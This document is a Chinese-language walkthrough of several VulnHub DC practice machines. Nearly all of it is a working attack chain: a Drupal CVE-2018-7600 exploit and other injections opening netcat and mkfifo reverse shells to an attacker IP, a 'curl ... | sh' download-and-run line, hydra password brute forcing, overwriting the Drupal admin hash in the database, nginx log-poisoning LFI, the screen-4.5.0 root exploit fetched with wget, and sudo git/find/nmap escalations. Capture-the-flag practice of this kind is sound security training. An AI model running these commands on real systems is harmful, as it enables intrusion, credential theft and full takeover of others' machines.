https://download.vulnhub.com/dc/
在VM以net连接打开虚拟机
攻击机:kali linux 靶机:DC1,2,4,5,6(IP随配)
nmap -sS -A 192.168.119.135
去网上搜索,发现此版本存在一个CVE漏洞(CVE-2018-7600)
1)搜索相关脚本,运行,直接反弹shell https://github.com/pimps/CVE-2018-7600 执行命令: python drupa7-CVE-2018-7600.py http://192.168.119.135/ -c 'nc -e /bin/bash 192.168.119.129 4444'
2)当然,小编建议还是使用python反弹shell,不要问我为什么,我是后面才造python反弹的shell要好一些 python反弹shell命令
反弹 curl https://shell.now.sh/192.168.119.129:4444 |sh
获得shell后,输入:python -c 'import pty; pty.spawn("/bin/bash")'
3)使用msf自带的exp,获得shell
根据flag1.txt提示,查找drupal的配置文件 网上搜索,在 /var/www/site/default/settings.php
根据 flag2 提示要爆破,还显示了数据库的账号,密码,尝试连接数据库 到了这里,我想我上面在反弹shell那里就建议使用第二种的用处到来了,如果是使用python直接反弹shell,那么就可以直接使用命令连接数据库
但是,若是第一种,和msf方法的话,我想,是不大好连的 所以小编我就独辟蹊径,先去拿到flag4 flag4的位置在/home目录下 查看flag4.txt
从提示的信息来看,我们flag在root里面,还是通过find方法获得root权限 但是,这样还是不够的,小编还是想要按着步骤来,想办法找到flag3 顺道,查看一下/etc/passwd有没有可以远程登陆的账号
看到有flag4这个账号,使用hydra尝试ssh密码爆破
hydra -l flag4 -P /usr/share/john/password.lst -t 6 ssh://192.168.119.135
ssh登陆flag4账号 ssh [email protected]
连接数据库 mysql -host localhost -u dbuser -p
在mysql命令框内查看后台账户密码
use drupaldb;
show tables;
select * from users;
搜了一下drupal怎么存储用户密码,它是把密码和用户名或其它随机字符串组合在一起后使用 MD5 方式加密。
但flag2都提示暴力破解不是唯一的方法,那就怎么省事怎么来了 退出mysql命令框
用drupal自带的 /var/www/scripts/password-hash.sh 加密 admin
php scripts/passwords-hash.sh admin > /tmp/pwd.txt
再cat一下 pwd.txt
利用mysql的权限修改一下admin的密码 update users set pass='$S$DSj5y2IZgAKxPrYtkVjUV2dyEM6roBYTCw9ep2wtVQVGJ1GepKYL' where name='admin';
登陆网页,尝试登陆后台 admin/admin
登陆后台后,在后台可以查看到flag3的文件,这里就不截图了
根据flag4.txt的文件,是通过find方法来提权到root权限,也许可能也是使用find 来搜索/root文件
到网上搜索find相关的提权
find … - exec “…” \;查找文件后并执行命令
touch getflag
find / -type f -name getflag -exec "whoami" \ ;
find /root/thefinalflag.txt -exec cat {} \;
find / -type f -name getflag -exec "/bin/sh" \;
在打开网址的过程中,需要设定一下hosts才能访问web服务
1.nmap探测主机 nmap -sS -A 192.168.119.130
2.访问页面,浏览查看有没有用的信息 提示密码在这个页面,且需要使用cewl爬取: cewl -w passwd.txt http://dc-2
3.寻找后台登陆页面,并获取登陆的账号密码 随意输入后台网址,会出现一个搜索框 搜索login,会出现后台登陆页面: 有密码,有后台,就差账号了,因为是wordpress架构的网站,所以有一个工具是WPScan,专门扫面这种架构的网站(我的kali有问题,所以只能盗用一下别人的图) wpscan --url http://dc-2 --enumerate u
还有一种方法是使用字典,burpsuit爆破出他的账号
爆破出账号密码:
hydra -L user.txt -P passwd.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
4.登陆后台 利用两个账号进行登陆,发现tom的后台登陆没有什么东西,但是jerry的后台登陆有flag2的提示:
5.ssh远程登陆 nmap进行全端口扫描: nmap -p- -sV 192.168.119.130
尝试远程登陆账号 ssh [email protected] -p 7744
rbash,受限制的权限:https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
6.查看权限,并尝试提权 可知得到的bash是受限制的bash,所以,尝试提权为正常bash
BASH_CMDS[a]=/bin/sh;a
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
查看flag3.txt,可得: 这提示我么们需要去jerry的账号
上面个提示我们们可以使用git提权,但是tom的权限不够,查看passwd文件,jerry账号是bash权限,可以执行git提权命令 git提权: sudo git -p help
!/bin/bash
这个小编下载的镜像玩不了,就没写啦
1.nmap探测主机,确定ip,并查看服务 nmap 192.168.119.0/24
2.访问页面,并尝试爆破 访问页面http://192.168.119.131/: hydra爆破密码: hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.119.131 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
3.登陆页面,burpsuit抓包,尝试修改命令,并反弹shell nc反弹shell: nc -e /bin/sh 192.168.119.129 4444
4.查看文件,发现三个账户,其中jim的账户中有密码文件 ls /home
保存密码到本地,当成密码字典,进行爆破
5.爆破猜解ssh密码,与账户 hydra -L dc4.txt -P passwd.txt -t 6 ssh://192.168.119.131
6.登陆账号jim,并查看所在目录下的文件信息 ssh [email protected]
7.查看/var/mail/jim文件,获得charles密码,并切换登陆
8.尝试sudo -l 提权,出现提示,使用teehee更改权限,并提权为root
sudo teehee /etc/crontab
/bin/sh
nmap 192.168.119.0/24
nmap -A 192.168.119.132
以上是在thangkyou.php页面,不断刷新得到的结果。说明这页面有问题,继续尝试 在尝试LFI(本地文件包含)的过程有发现回显
上传命令执行马到他的日志文件里(/var/log/nginx/access.log)
在报错页面执行命令,反弹shell(/var/log/nginx/error.log) nc -e /bin/bash 192.168.119.129 4444
读取支持SUID的二进制文件,发现一个有趣的/bin/screen-4.5.0
在kali攻击机上使用searchsploit screen-4.5.0 搜索有用的脚本,并尝试下载到本地 searchsploit screen-4.5.0
searchsploit -m 41154
查看41154.shPOC的内容,并按照里面的说明进行分解
cat 41154.sh
vim /tmp/libhax.c
vim /tmp/rootshell.c
vim /tmp/411154.sh
按照红,黄,绿的顺序,依次分别保存在创建的新文档里 编译生成的c文件,并删除原来的c文件
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o rootshell rootshell.c
rm -f /tmp/libhax.c
rm -f /tmp/rootshell.c
启用python服务器,将目标上传到靶机上 python -m SimpleHTTPServer
在之前得到的反弹shell的框里请求下载编译好的文件
cd /tmp
wget http://192.168.119.129:8000/41154.sh
wget http://192.168.119.129:8000/rootshell
wget http://192.168.119.129:8000/libhax.so
给41154.sh授权,并运行,读取flag文件 chmod 777 41154.sh
./41154.sh
cd /root
ls
cat thisistheflag.txt
至此,靶机结束
nmap 192.168.119.0/24
扫描有无主机漏洞
nmap --script=vuln 192.168.119.134
由提示可得,密码字典为/usr/share/wordslits/rock.txt
,输出为passwd.txt
hydra -L user.txt -P passwd1.txt wordy http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&rememberne=forever&wp-submit=Log In:S=1'
可得账号,密码为:mark/helpdesk01
发现有Activity monitor,这个模块的tools中的lookup存在CVE-2018-15877远程命令执行漏洞
nc -e /bin/bash 192.168.119.129 4444
攻击机监听端口4444获得graham的shell
那到shell,根据前面几个靶场的经验,我想,/home目录下,肯定是有一些提示的,so:
cd /home/mark
cat things-to-do.txt
给出了graham的密码,更换账号ssh登陆
尝试提权
发现jens账户是无密得,不过ssh是登陆不上去的,但是可以看到jens账户对backups.sh是有权限执行的,也是有写入的权限,所以,尝试在执行此文件时,顺道反弹shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f| bin/sh -i 2>&1 | nc 192.168.119.129 5555' > backups.sh
sudo -u jens /home/jens/backups.sh
攻击机监听端口5555,获得jens的shell
尝试提权
同样,发现root账户是无密得,但是nmap是有root权限的
写一个nmap的脚本,运行从而获得root权限
echo 'os.execute("/bin/sh")' >root.nse
ls
sudo nmap --script=/home/jens/root.nse
whoami
cd ~
cat theflag.txt